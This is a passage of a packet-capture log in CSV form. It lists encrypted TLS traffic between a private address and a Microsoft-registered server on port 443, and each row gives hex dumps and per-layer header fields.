)\\\\xd2\\\\x08\\\\xeft\\\\xc8t&Pq\\\\xebK\\\\xa5\\\\x12_\\\\xe5\\\\x9c?A]\\\\xb8\\\\x0e\\\\x97\\\\xbe\\\\x11lj\\\\x05C\\\\xaa8\\\\xf1'\\\\xd9\\\\x94\\\\x0e\\\\xe6X\\\\x98F|\\\\\\\\E{\\\\xae\\\\x8a\\\\xd3<\\\\xd9\\\\xe7\\\\xd3\\\\x80h\\\\xb2\\\\x1f\\\\xd5|\\\\x11\\\\x8d\\\\xbcDD^\\\\x03m\\\\xfd\\\\xa26\\\\xb3\\\\xa8\\\\xebT\\\\xcd\\\\x19\\\\x1f\\\\xce\\\\xbb6v\\\\x92H\\\\xb6\\\\xf4\\\\xd97\\\\xa2\\\\xf2(\\\\xcc\\\\x1a\\\\x0b\\\\xd0\\\\xb9\\\\xfa/\\\\x84[=^Bo=\\\\xc4\\\\x98\\\\xb0\\\\xa8\\\\xcd\\\\xa5\\\\x075\\\\x9b\\\\x9df\\\\xdb\\\\xfb\\\\x18C\\\\xc1\\\\xdeG\\\\x0c`\\\\x00\\\\xf2\\\\x98\\\\xc6\\\\xa3I!\\\\xef\\\\x85.\\\\x08\\\\xb0x\\\\xb4\\\\xde\\\\x8ckaAi\\\\xad\\\\xaf\\\\x95\\\\xc0\\\\x8d\\\\xe3\\\\x03?\\\\xbd\\\\x97$\\\\xc8\\\\r\\\\xb2\\\\xefy\\\\xc4k\\\\x07\\\\n\\\\x86%W\\\\xb2\\\\xa2\\\\x98\\\\xc4\\\\x8d\\\\xd27Vt\\\\xe1\\\\n>\\\\xa7\\\\xb8qQ\\\\xc6\\\\xa6\\\\x87\\\\xa4\\\\xc4\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05pQ\\\\x16\\\\xe2\\\\xb4\\\\xf6\\\\xffW\\\\xe5\\\\x92*M\\\\xdf\\\\x84\\\\xb5\\\\x06\\\\xa6\\\\x95\\\\xcc\\\\xe36\\\\xe4\\\\x02\\\\xe3q' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.525011,74,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881562 Ack=3746064225,bc24112907bbbc2411360d0c080045000028afa1400080068c060a98980b3462e822fa0801bb03362adadf486761501004007c2e0000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6*..HgaP...|...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44961, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35846, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881562, \"\"ack\"\": 3746064225, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 31790, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.525762,75,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53881562 Ack=3746064225,bc24112907bbbc2411360d0c080045000068afa2400080068bc50a98980b3462e822fa0801bb03362adadf48676150180400975e0000170303003b0000000000000004e5e4d2b4601d436c6f7dc78a2eaf567df578afba0b2015f71c0cb7f8992a619b754277fb81e60738cfda0c1cc72033a2420748,\".$.)...$.6\n...E..h..@.....\n...4b.\"\".....6*..HgaP....^......;............`.Clo}....V}.x... .......*a.uBw....8..... 3.B.H\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 44962, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35781, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881562, \"\"ack\"\": 3746064225, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 38750, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xe5\\\\xe4\\\\xd2\\\\xb4`\\\\x1dClo}\\\\xc7\\\\x8a.\\\\xafV}\\\\xf5x\\\\xaf\\\\xba\\\\x0b \\\\x15\\\\xf7\\\\x1c\\\\x0c\\\\xb7\\\\xf8\\\\x99*a\\\\x9buBw\\\\xfb\\\\x81\\\\xe6\\\\x078\\\\xcf\\\\xda\\\\x0c\\\\x1c\\\\xc7 3\\\\xa2B\\\\x07H' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.525770,76,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746064225 Ack=53881626,bc2411360d0cbc24112907bb080045000028c88c40004006b31b3462e8220a98980b01bbfa08df48676103362b1a5010003fbf420000,\".$.6\n..$.)....E..(..@.@...4b.\"\"\n........Hga.6+.P..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51340, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45851, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746064225, \"\"ack\"\": 53881626, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.818606,77,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3746064225 Ack=53881626,bc2411360d0cbc24112907bb0800450002e1c88d40004006b0613462e8220a98980b01bbfa08df48676103362b1a5018003fc1fb000017030302b40000000000000006a0826ec646b5344e8be0c9b2f0cc2520f2e2f80252f0ac4f08c8e44b5bcbee598de15f88a2a2249c56387a0d11bd14199ef628d2e723aa37c24831513f1394f0119f3fa35a73c99c3ddf5a703c31bf24233d810e1b3258196127ab25a19265aae95d9edfe25c9005e7a64d29dba2143a314ab4b66d0cde9e1c3435e25d04c8f95bc39b0e443359fde66ba5b85789ea858bf3744e925d4fe044a63fff2c680d209712d3a2350a2cfc61010f3a1b99214edf52450859bafd6a42a84f6950c269fcc7113e3b579d0dda5ae3f0c0529c7271b850f3690ed0bb8191815530003ebe5695a46197ff348a61ad426d7f60befcc99f12b1774d281a419f77c914ed4e0f41a30af597ab5f23be2f4353ffad4e21c7f5b839fbfb24105c2d8e8707cc38e4b5134ddf716b0598d3e68ed23a42814e30d299f33b7136ddd9ffb7f6c9633d06a901b185806d072751e573d71dce9190a86e109b6ad3414f52f140787bed560213682ace3ad91ed76ee90358698113b4daee15d35148371554279606614cc9be27577c43c80cc62eafc316667d9940d9d2f1b84f0fbcb53634a0ea019e6be069ea42f0c7c75db8241d0249de41fb4200dd3bd7c6029ae6393703d46fc772b61f59c462e2bd95bd6a34f08f0f762d203e7439aa8347ee2062dafbf9976bf7cdfaf00e75fd806ec89d7570bde33765343de0ac0ddd5828bbc721894a5f45586dfee0e6b95a7900446e51240ae794fa222c974268e5dacf6b368855b181212b21f16fd97b57783e94ba54bb1b7d6a795a5393d29c210bbe1f8d6be7c42074dfda48a7cc3e8a16bf2893358402d590b7755438aaad4bb1ceeb28721ab5483b531110bb01416aa7458150a23389b09f12caebafe620d3fd143b616af719178a975fb6b0e51f82fd4b70c259f6a725036d9c0466a4d75d85a4eb70c2cf68451534af8db55fdd7cc08b462fe8aee46a46,\".$.6\n..$.)....E.....@.@..a4b.\"\"\n........Hga.6+.P..?...................n.F.4N......% ....R..O...K[..Y.._...$.V8z\n......(..#.7.H1Q?.....?.Zs..=.Zp<1.$#=...2X.a'.%..e..]...\\....M)...:1J..m....45.]...[...D3Y..k..W.....tN.]O.D.?.,h\n ....5\n,.a..:..!N.RE.Y..jB.OiP.i...>;W.\n.Z...R.rq.P.i......U0.>.V..a..4.a.Bm.`......wM(.A.w...N.A.\n..._#./CS..N!...9..$.\\-....8...M.qk......:B.N0...;q6......c=......m.'Q.s......n..j.AOR.@x{.V..h*.:...n..Xi.......QH7.T'..aL..'W|C.......f}.@....O...64....k.i.B...].$..I.A.B..;.....97..o.r..Y.b....j4...v- >t9..G. b....k.....u..n..up..7e4=..\n.X(..!.J_EXm....Zy.DnQ$\n...\"\",.Bh...k6.U..!+!.o.{Wx>..T..}jyZS...!....k.. t..H..>...(.5.....uT8..K...(r..H;S....Aj.E.P.3........ ...;aj....._......Kp.Y..%.m..f..]...p..hE.4..._.|..F/...jF\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 737, \"\"id\"\": 51341, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45153, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746064225, \"\"ack\"\": 53881626, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 49659, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 692, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\xa0\\\\x82n\\\\xc6F\\\\xb54N\\\\x8b\\\\xe0\\\\xc9\\\\xb2\\\\xf0\\\\xcc% \\\\xf2\\\\xe2\\\\xf8\\\\x02R\\\\xf0\\\\xacO\\\\x08\\\\xc8\\\\xe4K[\\\\xcb\\\\xeeY\\\\x8d\\\\xe1_\\\\x88\\\\xa2\\\\xa2$\\\\x9cV8z\\\\r\\\\x11\\\\xbd\\\\x14\\\\x19\\\\x9e\\\\xf6(\\\\xd2\\\\xe7#\\\\xaa7\\\\xc2H1Q?\\\\x13\\\\x94\\\\xf0\\\\x11\\\\x9f?\\\\xa3Zs\\\\xc9\\\\x9c=\\\\xdfZp<1\\\\xbf$#=\\\\x81\\\\x0e\\\\x1b2X\\\\x19a\\\\'\\\\xab%\\\\xa1\\\\x92e\\\\xaa\\\\xe9]\\\\x9e\\\\xdf\\\\xe2\\\\\\\\\\\\x90\\\\x05\\\\xe7\\\\xa6M)\\\\xdb\\\\xa2\\\\x14:1J\\\\xb4\\\\xb6m\\\\x0c\\\\xde\\\\x9e\\\\x1c45\\\\xe2]\\\\x04\\\\xc8\\\\xf9[\\\\xc3\\\\x9b\\\\x0eD3Y\\\\xfd\\\\xe6k\\\\xa5\\\\xb8W\\\\x89\\\\xea\\\\x85\\\\x8b\\\\xf3tN\\\\x92]O\\\\xe0D\\\\xa6?\\\\xff,h\\\\r \\\\x97\\\\x12\\\\xd3\\\\xa25\\\\n,\\\\xfca\\\\x01\\\\x0f:\\\\x1b\\\\x99!N\\\\xdfRE\\\\x08Y\\\\xba\\\\xfdjB\\\\xa8OiP\\\\xc2i\\\\xfc\\\\xc7\\\\x11>;W\\\\x9d\\\\r\\\\xdaZ\\\\xe3\\\\xf0\\\\xc0R\\\\x9crq\\\\xb8P\\\\xf3i\\\\x0e\\\\xd0\\\\xbb\\\\x81\\\\x91\\\\x81U0\\\\x00>\\\\xbeV\\\\x95\\\\xa4a\\\\x97\\\\xff4\\\\x8aa\\\\xadBm\\\\x7f`\\\\xbe\\\\xfc\\\\xc9\\\\x9f\\\\x12\\\\xb1wM(\\\\x1aA\\\\x9fw\\\\xc9\\\\x14\\\\xedN\\\\x0fA\\\\xa3\\\\n\\\\xf5\\\\x97\\\\xab_#\\\\xbe/CS\\\\xff\\\\xadN!\\\\xc7\\\\xf5\\\\xb89\\\\xfb\\\\xfb$\\\\x10\\\\\\\\-\\\\x8e\\\\x87\\\\x07\\\\xcc8\\\\xe4\\\\xb5\\\\x13M\\\\xdfqk\\\\x05\\\\x98\\\\xd3\\\\xe6\\\\x8e\\\\xd2:B\\\\x81N0\\\\xd2\\\\x99\\\\xf3;q6\\\\xdd\\\\xd9\\\\xff\\\\xb7\\\\xf6\\\\xc9c=\\\\x06\\\\xa9\\\\x01\\\\xb1\\\\x85\\\\x80m\\\\x07\\\\'Q\\\\xe5s\\\\xd7\\\\x1d\\\\xce\\\\x91\\\\x90\\\\xa8n\\\\x10\\\\x9bj\\\\xd3AOR\\\\xf1@x{\\\\xedV\\\\x02\\\\x13h*\\\\xce:\\\\xd9\\\\x1e\\\\xd7n\\\\xe9\\\\x03Xi\\\\x81\\\\x13\\\\xb4\\\\xda\\\\xee\\\\x15\\\\xd3QH7\\\\x15T\\\\'\\\\x96\\\\x06aL\\\\xc9\\\\xbe\\\\'W|C\\\\xc8\\\\x0c\\\\xc6.\\\\xaf\\\\xc3\\\\x16f}\\\\x99@\\\\xd9\\\\xd2\\\\xf1\\\\xb8O\\\\x0f\\\\xbc\\\\xb564\\\\xa0\\\\xea\\\\x01\\\\x9ek\\\\xe0i\\\\xeaB\\\\xf0\\\\xc7\\\\xc7]\\\\xb8$\\\\x1d\\\\x02I\\\\xdeA\\\\xfbB\\\\x00\\\\xdd;\\\\xd7\\\\xc6\\\\x02\\\\x9a\\\\xe697\\\\x03\\\\xd4o\\\\xc7r\\\\xb6\\\\x1fY\\\\xc4b\\\\xe2\\\\xbd\\\\x95\\\\xbdj4\\\\xf0\\\\x8f\\\\x0fv- >t9\\\\xaa\\\\x83G\\\\xee b\\\\xda\\\\xfb\\\\xf9\\\\x97k\\\\xf7\\\\xcd\\\\xfa\\\\xf0\\\\x0eu\\\\xfd\\\\x80n\\\\xc8\\\\x9dup\\\\xbd\\\\xe37e4=\\\\xe0\\\\xac\\\\r\\\\xddX(\\\\xbb\\\\xc7!\\\\x89J_EXm\\\\xfe\\\\xe0\\\\xe6\\\\xb9Zy\\\\x00DnQ$\\\\n\\\\xe7\\\\x94\\\\xfa\\\"\",\\\\x97Bh\\\\xe5\\\\xda\\\\xcfk6\\\\x88U\\\\xb1\\\\x81!+!\\\\xf1o\\\\xd9{Wx>\\\\x94\\\\xbaT\\\\xbb\\\\x1b}jyZS\\\\x93\\\\xd2\\\\x9c!\\\\x0b\\\\xbe\\\\x1f\\\\x8dk\\\\xe7\\\\xc4 t\\\\xdf\\\\xdaH\\\\xa7\\\\xcc>\\\\x8a\\\\x16\\\\xbf(\\\\x935\\\\x84\\\\x02\\\\xd5\\\\x90\\\\xb7uT8\\\\xaa\\\\xadK\\\\xb1\\\\xce\\\\xeb(r\\\\x1a\\\\xb5H;S\\\\x11\\\\x10\\\\xbb\\\\x01Aj\\\\xa7E\\\\x81P\\\\xa23\\\\x89\\\\xb0\\\\x9f\\\\x12\\\\xca\\\\xeb\\\\xaf\\\\xe6 \\\\xd3\\\\xfd\\\\x14;aj\\\\xf7\\\\x19\\\\x17\\\\x8a\\\\x97_\\\\xb6\\\\xb0\\\\xe5\\\\x1f\\\\x82\\\\xfdKp\\\\xc2Y\\\\xf6\\\\xa7%\\\\x03m\\\\x9c\\\\x04f\\\\xa4\\\\xd7]\\\\x85\\\\xa4\\\\xebp\\\\xc2\\\\xcfhE\\\\x154\\\\xaf\\\\x8d\\\\xb5_\\\\xdd|\\\\xc0\\\\x8bF/\\\\xe8\\\\xae\\\\xe4jF' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.818829,78,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881626 Ack=3746064922,bc24112907bbbc2411360d0c080045000028afa3400080068c040a98980b3462e822fa0801bb03362b1adf486a1a501003fd79380000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6+..Hj.P...y8..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44963, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35844, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881626, \"\"ack\"\": 3746064922, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 31032, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.820841,79,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53881626 Ack=3746064922,bc24112907bbbc2411360d0c08004500006eafa4400080068bbd0a98980b3462e822fa0801bb03362b1adf486a1a501803fd10d4000017030300410000000000000005d70e2eaea3b1efe38ce3cdc8168663fbc0a58abc3c9e8c29f54c5cfc980bb25f4a64bef001edba39f44019b29356d6d9c2d5a3cc715c860a58,\".$.)...$.6\n...E..n..@.....\n...4b.\"\".....6+..Hj.P...........A......................c.....<..).L\\...._Jd.....9.@...V......q\\.\nX\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 44964, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35773, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881626, \"\"ack\"\": 3746064922, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 4308, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xd7\\\\x0e.\\\\xae\\\\xa3\\\\xb1\\\\xef\\\\xe3\\\\x8c\\\\xe3\\\\xcd\\\\xc8\\\\x16\\\\x86c\\\\xfb\\\\xc0\\\\xa5\\\\x8a\\\\xbc<\\\\x9e\\\\x8c)\\\\xf5L\\\\\\\\\\\\xfc\\\\x98\\\\x0b\\\\xb2_Jd\\\\xbe\\\\xf0\\\\x01\\\\xed\\\\xba9\\\\xf4@\\\\x19\\\\xb2\\\\x93V\\\\xd6\\\\xd9\\\\xc2\\\\xd5\\\\xa3\\\\xccq\\\\\\\\\\\\x86\\\\nX' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.820847,80,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746064922 Ack=53881696,bc2411360d0cbc24112907bb080045000028c88e40004006b3193462e8220a98980b01bbfa08df486a1a03362b605010003fbf420000,\".$.6\n..$.)....E..(..@.@...4b.\"\"\n........Hj..6+`P..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51342, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45849, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746064922, \"\"ack\"\": 53881696, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:46.533236,81,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3746064922 Ack=53881696,bc2411360d0cbc24112907bb08004500029dc88f40004006b0a33462e8220a98980b01bbfa08df486a1a03362b605018003fc1b70000170303027000000000000000073df0737c59cc21c1af7f74ccc9b5b8b7536f773b586a5166eacd71b06561eddfd3edbc31005bb7a84e904678c14077f55009940a9723df96cef94a0a67f05ee0dcc80c37fd083a88cf4931f9ed1efeda6c65c7170a38b74b432374071f29d806f069f46e6387fac35b1da30e0efe81d517267006ab07eeb9a0baae3e78122796e860797064a0d5cba9006f6e0a7c85a6c8e6828074b1b92f14e9fb64b23b539c938118d33bbd069c2e0c8c9a833c1670659e8e7e4847674d4481b4a728070674b53bddff898ed857cf1ea717651d288fc940fa2b01e741ab10fbccb3f36e47cabd858b3678616d1440a70f8caf9704b9f54e7bbef98c786af9a739a54f0a37bc31483951a2d5f9131c2b0ced683d502dfd896daaca10f6b3df728d7555716ac40f5f0e888aeb6e5d4c74092d264e80b80db2a25b36d05cf9b56d8789259ec46c124047315223fba1dc6159805bddcae0770b5886eaadf8ab52a88ebcac2410c3021637b1fdc95ec10f423c2873fd08db8cbf34c3f8900829b74c62775b60608c51eaf9bfdb5983a22b6761b17bcfb9cfa8bb6e135a0b835b6e8ad0ce3af5f45483401d5fc879c06353c86e138227e9bd5349a8ed9e92f717304a96b3dad560cddafd763b8e2735d15ddae2960103ecb426029c5b3824e8fca89f4964b524a7fae5ca86a53c48eba87f30ca69a586b4b51f4a07e13547c337b2cd481c2e7b1f5473eb12d6134fda8ae459ac90d63bd682774f7458405f7732a9c3d91ccd07b0273c0c4da7238a892bc4424d55155e5c1e4f0c05ed0fd71d0f5335e139c139b986f3275e24b2f07111bc01de36d2a0bdf4a99c47a989b93cc0db69e6097c2642f5745145d3296a8dc3,\".$.6\n..$.)....E.....@.@...4b.\"\"\n........Hj..6+`P..?........p........=.s|Y.!...t.....Sow;XjQf..q.ea.....1.[..N.Fx.@w.P\t.\n.#....J\ng.^....7..:..I1.....le..\n8.KC#t..)...i.nc...[........&p........>x.'..`ypd.....on\n|......t../...d.;S.....;........<.pe..~HGgMD...(..t.;.....W....e.(..@.+..A......nG....6xam.@........N{...xj..9.O\n7.1H9Q.....+..h=P-..m......r.uUqj.._....n]Lt\t-&N..\n..[6.\\..m..%..l.@G1R#...aY.[...w.X.....R....$....7...^..B<(s.....4....).Lbw[``.Q....Y..+ga.{.....n.Z..[n...:..T.@._.y.cS.n..'..SI......0J....`...v;.'5.].......&..[8$....Id.$......<H...0.i.....J..5G.7..H..{.Ts....O...Y...;..wOtX@_w2.......'<.M.#..+.BMU.^\\.O.......S5.9.9...'^$..q....6......G...<..i.\t|&B.tQE.)j..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 669, \"\"id\"\": 51343, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45219, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746064922, \"\"ack\"\": 53881696, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 49591, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, 